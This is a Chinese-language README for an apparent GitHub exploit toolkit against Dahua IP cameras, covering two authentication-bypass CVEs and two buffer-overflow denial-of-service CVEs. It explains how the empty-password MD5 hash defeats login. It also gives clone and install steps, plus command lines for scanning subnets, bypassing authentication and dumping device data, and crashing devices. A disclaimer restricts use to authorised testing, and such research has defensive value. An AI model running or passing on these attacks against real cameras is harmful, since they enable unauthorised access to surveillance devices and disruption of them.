⚠️ 开发中 — 这些脚本基于已发布的 CVE 详情,需要针对易受攻击的设备进行进一步测试,以确认其完整功能。
针对大华 IP 摄像头四个严重漏洞的研究与概念验证(PoC)脚本。
本软件仅供教育和经授权的安全测试目的使用。
使用这些工具即表示您同意:
1. 您已获得测试目标系统的明确书面授权
2. 您不会将这些工具用于非法活动
3. 您对自己的行为承担全部责任
4. 作者不对任何滥用或损害承担责任
在大多数司法管辖区,未经授权访问计算机系统属于刑事犯罪。
| CVE | CVSS | 类型 | 状态 |
|---|---|---|---|
| CVE-2021-33044 | 9.8 严重 | 认证绕过 | CISA KEV(已被积极利用) |
| CVE-2021-33045 | 9.8 严重 | 认证绕过 | CISA KEV(已被积极利用) |
| CVE-2025-31700 | 8.1 高危 | 缓冲区溢出 DoS | 近期(2025) |
| CVE-2025-31701 | 8.1 高危 | 缓冲区溢出 DoS | 近期(2025) |
大华摄像头通过 /RPC2_Login 使用挑战-响应认证:
Normal Login:
step1 = MD5("admin:realm:PASSWORD")
step2 = MD5("step1:random:step1")
Bypass (CVE-2021-33044/45):
step1 = MD5("admin:realm:") ← EMPTY password
step2 = MD5("step1:random:step1")
存在漏洞的固件会接受空密码哈希,并返回有效的会话令牌。
# Clone repository
git clone https://github.com/umair-aziz025/Dahua_IP_Camera_CVE_Exploit.git
cd Dahua_IP_Camera_CVE_Exploit
# Install dependencies
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py 192.168.1.0/24 -p 80 8080 8081
# Single host with port
python dahua_scanner.py 192.168.1.100:8081
# Full options
python dahua_scanner.py 192.168.1.0/24 -p 80 8080 -w 100 -t 10 -v -o results.json
# Show help
python dahua_scanner.py --help
大华常见端口:80, 8000, 8080, 8081, 8888, 9000, 443, 37777
python dahua_exploit.py 192.168.1.100 -p 8081
python dahua_exploit.py 192.168.1.100 -c 2021-33044 # Single CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py 192.168.1.100 -p 8081
python dahua_auth_bypass.py 192.168.1.100 --dump # Dump device info after bypass
python dahua_rce.py 192.168.1.100 -p 8081
python dahua_rce.py 192.168.1.100 --cve http # HTTP only
python dahua_rce.py 192.168.1.100 --cve tcp # TCP/37777 only
⚠️ 警告: DoS 脚本可能导致目标设备崩溃。
requests
其余导入均来自 Python 标准库:
socket、struct、hashlib、threading、ipaddress、argparse、json
🚧 正在积极开发中
这些脚本基于以下内容开发:
测试状态:
如果您可以访问易受攻击的设备进行测试,欢迎贡献代码和反馈。
请报告任何问题或误报。
MIT 许可证 — 请参阅 LICENSE 文件。
Umair Aziz
GitHub:@umair-aziz025
仅供教育与授权安全研究使用。
| 文件 | 用途 | CVE |
|---|
dahua_scanner.py | 网络发现 — 在子网中查找大华摄像头 | 检测 |
dahua_exploit.py | 多 CVE 扫描器 — 测试所有漏洞 | 全部 |
dahua_auth_bypass.py | 专用认证绕过,带 --dump 选项 | CVE-2021-33044/45 |
dahua_rce.py | 缓冲区溢出 DoS 探测 | CVE-2025-31700/01 |